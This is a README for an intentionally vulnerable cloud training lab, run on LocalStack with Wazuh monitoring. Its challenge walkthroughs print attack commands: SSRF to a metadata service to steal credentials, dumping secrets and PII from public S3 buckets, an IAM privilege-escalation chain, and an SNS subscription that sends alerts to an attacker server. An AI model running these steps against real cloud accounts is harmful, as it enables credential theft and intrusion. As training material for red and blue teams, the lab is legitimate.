An intentionally vulnerable cloud environment for hands-on red team / blue team security training, built around AWS service misconfigurations and common developer mistakes.
- Overview
- Architecture
- Prerequisites
- Installation & Setup
- Services & Ports
- Toggling Vulnerability Mode
- Exploitation Challenges
- Monitoring & Detection
- Cleanup & Reset
- Vulnerability Reference
- Disclaimer
NSCS-Gate simulates a real-world corporate cloud portal running on AWS services β with catastrophic architectural flaws baked in. Rather than focusing on traditional web vulnerabilities (XSS, SQLi), this lab is dedicated entirely to Cloud Infrastructure Security: IAM misconfigurations, SSRF to credential theft, public S3 buckets, Lambda information disclosure, and more.
The lab supports two operational modes, instantly switchable:
| Mode | Command | Description |
|---|---|---|
| π΄ Vulnerable (default) | bash scripts/vulner.sh |
All intentional flaws active β red team mode |
| π Hardened | bash scripts/fix.sh |
All vulnerabilities patched β blue team / remediation training |
The lab is designed as a 3-PC scenario to simulate a realistic enterprise environment:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LAN / VPN Network β
β β
β ββββββββββββββββββββ logs ββββββββββββββββββββββββββββ β
β β PC1 β TARGET β βββββββββββΆ β PC2 β SOC / MONITOR β β
β β β β β β
β β LocalStack:4566 β β Wazuh Manager (SIEM) β β
β β VulnApp:8080 β β Wazuh Dashboard:443 β β
β β Prometheus:9090 β β (receives agent events) β β
β β Grafana:3000 β ββββββββββββββββββββββββββββ β
β β Wazuh Agent β β
β ββββββββββββββββββββ β
β β² β
β β attacks β
β ββββββββββββββββββββ β
β β PC3 β ATTACKER β β
β β β β
β β Browser β β
β β AWS CLI β β
β ββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
localstack-main (:4566) β Fake AWS (S3, IAM, Lambda, DynamoDB, etc.)
vulnerable-app (:8080) β NSCS-Gate Flask web portal
metadata-service (:80) β Fake EC2 IMDS (credential theft target)
prometheus (:9090) β Metrics collection
grafana (:3000) β Dashboards
node-exporter (:9100) β Host resource metrics
| Tool | Version | Purpose |
|---|---|---|
| Docker Desktop | β₯ 24.x | Runs all containers |
| Docker Compose | β₯ 2.x (bundled with Desktop) | Orchestrates the stack |
| Terraform | β₯ 1.5 | Provisions AWS resources into LocalStack |
| AWS CLI | β₯ 2.x | Interact with LocalStack from the host |
| Tool | Version | Purpose |
|---|---|---|
| Docker & Docker Compose | β₯ 24.x | Runs Wazuh SIEM stack |
| Git | any | Clones the Wazuh Docker repo |
| Tool | Purpose |
|---|---|
| Web browser | Accesses NSCS-Gate web portal |
| AWS CLI β₯ 2.x | Executes cloud API calls using stolen credentials |
curl / httpie |
Optional β for raw HTTP exploit testing |
Order matters: Set up PC2 first so Wazuh is ready to receive log events before the agent on PC1 is installed.
git clone https://github.com/your-org/CyberRange.git
cd CyberRangeLocalStack accepts any dummy credentials. Configure the AWS CLI profile so commands work locally:
aws configure set aws_access_key_id test
aws configure set aws_secret_access_key test
aws configure set region us-east-1
aws configure set output jsonπ‘ All AWS CLI commands targeting LocalStack require
--endpoint-url http://localhost:4566. You can create an alias:alias awslocal='aws --endpoint-url=http://localhost:4566'
# Builds the custom images (vulnerable-app, metadata-service) and starts all containers
docker compose up -d --buildVerify all containers are healthy:
docker compose psExpected output:
NAME IMAGE STATUS
localstack-main localstack/localstack running (healthy)
vulnerable-app cyberrange-vulnerable-app running
metadata-service cyberrange-metadata-service running
prometheus prom/prometheus running
grafana grafana/grafana running
node-exporter prom/node-exporter running
β³ Wait 15β30 seconds for LocalStack to fully initialize before running Terraform.
terraform init
terraform apply -auto-approveThis provisions ~40 AWS resources into LocalStack:
- S3 buckets (with seeded sensitive files)
- DynamoDB
userstable (with 5 seeded accounts) - IAM users, roles, and policies (intentionally overprivileged)
- Lambda function (
vulnerable-api) - API Gateway (unauthenticated)
- SQS queues, SNS topics, Secrets Manager secrets, SSM parameters, KMS key
Successful apply output:
Apply complete! Resources: 40 added, 0 changed, 0 destroyed.
Outputs:
api_endpoint = "http://localhost:4566/restapis/.../prod/_user_request_/data"
public_bucket = "sensitive-data-bucket"
vulnerable_app_url = "http://localhost:8080"
...
Once PC2's Wazuh Manager is running, install the agent on PC1 to ship logs:
# Replace <PC2_IP> with the actual IP address of your monitoring machine
sudo bash scripts/wazuh_agent.sh <PC2_IP>The script will:
- Add the Wazuh APT repository (GPG-verified)
- Install
wazuh-agentpointed at your manager - Configure log monitoring for the
vulnerable-appandlocalstackcontainers - Start and enable the agent systemd service
Verify the agent is running:
sudo systemctl status wazuh-agentThe agent should appear in the Wazuh Dashboard (https://<PC2_IP>) within a few minutes.
Run this before setting up PC1's agent.
sudo bash scripts/wazuh_manager.shThe script will:
- Install Docker if not present (skips if already installed)
- Clone the official Wazuh Docker repository (tag
v4.7.0) - Generate TLS certificates for the Wazuh Indexer
- Launch the full 3-container Wazuh stack via Docker Compose:
- Wazuh Manager β processes and correlates events
- Wazuh Indexer (OpenSearch) β stores all logs
- Wazuh Dashboard β web UI at
https://<PC2_IP>
β³ Wait 5β10 minutes for the stack to fully initialize on first run.
URL: https://<PC2_IP>
Username: admin
Password: SecretPassword
β οΈ Accept the self-signed TLS certificate warning in your browser.
No server setup required. Just ensure the following are installed:
# Verify AWS CLI
aws --version
# Configure dummy creds pointing at PC1
aws configure set aws_access_key_id attacker
aws configure set aws_secret_access_key attacker
aws configure set region us-east-1Access the target web portal:
http://<PC1_IP>:8080
| Service | URL | Credentials | Notes |
|---|---|---|---|
| NSCS-Gate (web portal) | http://localhost:8080 |
Register any account | Main attack surface |
| LocalStack (fake AWS) | http://localhost:4566 |
test / test |
AWS API endpoint |
| Grafana | http://localhost:3000 |
admin / admin |
Metrics dashboards |
| Prometheus | http://localhost:9090 |
None | Raw metrics |
| Wazuh Dashboard | https://<PC2_IP> |
admin / SecretPassword |
SIEM alerts |
| Username | Password | Role |
|---|---|---|
admin |
P@ssw0rd123! |
Administrator |
jsmith |
Welcome1! |
Developer |
mjones |
Summer2026! |
Analyst |
dbrown |
Qwerty789 |
Intern |
The two toggle scripts let you instantly switch the lab between fully vulnerable (red team) and fully hardened (blue team) states.
sudo bash scripts/fix.shPatches applied:
- π Cryptographically random session secret
- π« SSRF blocklist (blocks
169.254.169.254, internal IPs, container hostnames) - π
/api/statusno longer exposes internal service topology - π IDOR ownership check on file sharing
- π SHA-256 password hashing (register + login)
- π¦ Lambda: credentials from env vars, debug mode off, sanitized error responses
- βοΈ Cloud: S3 public policy β Deny, IAM wildcard β least-privilege, SQS/SNS restricted
Automatically rebuilds the Docker container and updates seeded DynamoDB passwords. Run
terraform applyto apply the cloud infra changes.
sudo bash scripts/vulner.shReverts every patch above to the original vulnerable state.
β οΈ Only run in an isolated lab network. Never on production systems.
Difficulty: π’ Easy
The /webhooks/test endpoint fetches any URL the user supplies β including internal services.
- Register and log into NSCS-Gate at
http://<PC1_IP>:8080 - Navigate to Webhooks
- Enter the IMDS credential URL:
http://metadata-service/latest/meta-data/iam/security-credentials/vulnerable-role - Click Test Connection β the temporary AWS credentials appear in the response
Difficulty: π‘ Medium
Use the stolen credentials from Challenge 1 to take control of the cloud environment.
export AWS_ACCESS_KEY_ID="<STOLEN_KEY>"
export AWS_SECRET_ACCESS_KEY="<STOLEN_SECRET>"
export AWS_SESSION_TOKEN="<STOLEN_TOKEN>"
# Enumerate all S3 buckets
aws --endpoint-url=http://<PC1_IP>:4566 s3 ls
# List all IAM users
aws --endpoint-url=http://<PC1_IP>:4566 iam list-users
# List all DynamoDB tables
aws --endpoint-url=http://<PC1_IP>:4566 dynamodb list-tablesDifficulty: π’ Easy
The sensitive-data-bucket is publicly readable without authentication.
# List all files (no credentials required)
aws --endpoint-url=http://<PC1_IP>:4566 s3 ls s3://sensitive-data-bucket/ --recursive
# Download the production .env file
aws --endpoint-url=http://<PC1_IP>:4566 s3 cp s3://sensitive-data-bucket/.env .
# Download the SSH deploy key
aws --endpoint-url=http://<PC1_IP>:4566 s3 cp s3://sensitive-data-bucket/keys/deploy_key.pem .
# Download the leaked PII data
aws --endpoint-url=http://<PC1_IP>:4566 s3 cp s3://sensitive-data-bucket/exports/customer_pii.csv .Difficulty: π’ Easy
The application prints secrets retrieved from AWS SSM Parameter Store directly onto the Dashboard page.
- Log into NSCS-Gate
- Navigate to Dashboard
- Observe
DB_PASSWORD,stripe_key,jwt_secretand other secrets in the config dump
Via AWS CLI (using stolen creds):
# List all SSM parameters
aws --endpoint-url=http://<PC1_IP>:4566 ssm describe-parameters
# Read the database connection string
aws --endpoint-url=http://<PC1_IP>:4566 ssm get-parameter \
--name /prod/database/connection-string --with-decryption
# Dump all Secrets Manager secrets
aws --endpoint-url=http://<PC1_IP>:4566 secretsmanager list-secrets
aws --endpoint-url=http://<PC1_IP>:4566 secretsmanager get-secret-value \
--secret-id prod/api/keysDifficulty: π’ Easy
The vulnerable-api Lambda function leaks its environment variables and hardcoded DB credentials when it crashes.
- Navigate to Serverless APIs
- Select Get User Details
- Leave the User ID field empty and click Invoke Lambda Function
- Observe the
DB_PASSWORD, hardcodedaws_key, and fullenvironmentdict in the error response
Difficulty: π΄ Hard
Follow the breadcrumbs to escalate from a low-privilege intern-user to full admin.
# Step 1: Start as the intern (get key from terraform output or /api/status)
export AWS_ACCESS_KEY_ID="<intern_access_key>"
export AWS_SECRET_ACCESS_KEY="test"
# Step 2: Discover breadcrumbs in S3
aws --endpoint-url=http://<PC1_IP>:4566 s3 cp \
s3://sensitive-data-bucket/docs/internal_memo.md -
# Step 3: Use intern's secretsmanager access to steal dev-user keys
aws --endpoint-url=http://<PC1_IP>:4566 secretsmanager get-secret-value \
--secret-id prod/iam/dev-user-keys
# Step 4: Switch to dev-user and assume the vulnerable-role
export AWS_ACCESS_KEY_ID="<dev_access_key>"
aws --endpoint-url=http://<PC1_IP>:4566 sts assume-role \
--role-arn arn:aws:iam::000000000000:role/vulnerable-role \
--role-session-name pwned
# Step 5: Use the assumed role credentials β full Admin accessDifficulty: π‘ Medium
The SQS queue and SNS topic accept messages from any principal.
# Inject a fake job into the order processing queue
aws --endpoint-url=http://<PC1_IP>:4566 sqs send-message \
--queue-url http://localhost:4566/000000000000/order-processing-queue \
--message-body '{"task":"DELETE all orders","submitted_by":"attacker"}'
# Subscribe an external URL to the internal security-alerts SNS topic
aws --endpoint-url=http://<PC1_IP>:4566 sns subscribe \
--topic-arn arn:aws:sns:us-east-1:000000000000:security-alerts \
--protocol http \
--notification-endpoint http://<ATTACKER_SERVER>/snitchPre-configured to show:
- LocalStack container CPU / memory
- HTTP request rates to the vulnerable app
- Host system resources (via Node Exporter)
Login: admin / admin
The Wazuh agent on PC1 ships logs from:
vulnerable-appDocker container (JSON format)localstack-mainDocker container (JSON format)metadata-serviceDocker container (JSON format)- LocalStack volume logs (
./volume/logs/*.log)
Key alerts to watch for during red team exercises:
- Requests to
169.254.169.254(IMDS credential theft) s3:ListBucketwithout credentials (public bucket enumeration)secretsmanager:GetSecretValuecallssts:AssumeRolelateral movement attempts- Unexpected Lambda invocations with malformed payloads
Tears down everything and re-deploys from scratch:
.\scripts\reset.ps1bash scripts/reset.shWhat the reset script does:
terraform destroyβ destroys all LocalStack resourcesdocker compose down -vβ stops containers and removes volumes- Deletes
.terraform/,terraform.tfstate,lambda/handler.zip docker compose up -d --buildβ rebuilds and restarts everythingterraform init && terraform applyβ re-provisions all cloud resources
# Stop all containers
docker compose down -v
# Remove Terraform state
rm -rf .terraform terraform.tfstate terraform.tfstate.backup
# Remove compiled Lambda artifact
rm -f lambda/handler.zip| ID | Name | File | Severity | Challenge |
|---|---|---|---|---|
| V1 | SSRF β IMDS Credential Theft | app.py /webhooks/test |
π΄ Critical | 1 |
| V2 | Overprivileged IAM Role (wildcard *) |
main.tf |
π΄ Critical | 2 |
| V3 | Public S3 Bucket (PII, keys, DB dumps) | main.tf |
π΄ Critical | 3 |
| V4 | Sensitive config in SSM dumped to UI | app.py /dashboard |
π High | 4 |
| V5 | Lambda hardcoded creds + debug error response | lambda/handler.py |
π High | 5 |
| V6 | IAM privilege escalation chain | main.tf |
π΄ Critical | 6 |
| V7 | Open SQS/SNS β public message injection | main.tf |
π‘ Medium | 7 |
| V8 | IDOR β /drive/share fetches any S3 key |
app.py |
π High | β |
| V9 | Plaintext password storage in DynamoDB | app.py |
π High | β |
| V10 | Weak static Flask session secret | app.py |
π‘ Medium | β |
| V11 | Info disclosure β /api/status leaks topology |
app.py |
π‘ Medium | β |
| V12 | Cross-account confused deputy IAM role | main.tf |
π High | β |
| V13 | Unauthenticated API Gateway β Lambda | main.tf |
π High | β |
| V14 | KMS key with wildcard Principal: * policy |
main.tf |
π‘ Medium | β |
This environment is intentionally insecure. It contains hardcoded credentials, public cloud resources, and deliberately exploitable code.
- β DO run this in an isolated local lab or private network
- β DO use it for authorized security training and education
- β DO NOT expose any port to the public internet
- β DO NOT deploy these patterns to real AWS accounts
- β DO NOT use this on any machine you do not own
Built for the NSCS CyberRange training program. π‘οΈ